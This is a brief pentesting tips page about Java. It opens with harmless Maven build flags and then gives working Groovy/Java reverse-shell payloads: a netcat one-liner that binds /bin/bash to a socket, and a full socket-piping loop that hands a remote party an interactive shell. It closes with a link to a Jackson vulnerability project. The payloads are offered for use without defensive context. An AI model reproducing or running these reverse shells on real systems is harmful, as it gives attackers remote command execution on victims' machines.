JAVA Related Tips and Tricks

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date: 18/01/2025 —

Maven for noobs

• Building a project mvn clean package
• Building without javadoc -Dmaven.javadoc.skip=true
• Building without -Dmaven.test.skip=true
• Jar files are usually under ./target folder of the project (prefer the generated *jar-with-dependencies.jar)
• For projects with submodules look for target/ folder under each of them

Groovy

Reverse Shell

with netcat

new ProcessBuilder("nc","-e","/bin/bash","localhost","1234").start()

without netcat

String host="localhost";
int port=1445;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
  while(pi.available()>0) so.write(pi.read());
  while(pe.available()>0) so.write(pe.read());
  while(si.available()>0) po.write(si.read());
  so.flush();
  po.flush();
  Thread.sleep(50);
  try {p.exitValue();
    break;
  }
  catch (Exception e){}
};
p.destroy();
s.close();

https://github.com/lorenzodegiorgi/jackson-vulnerability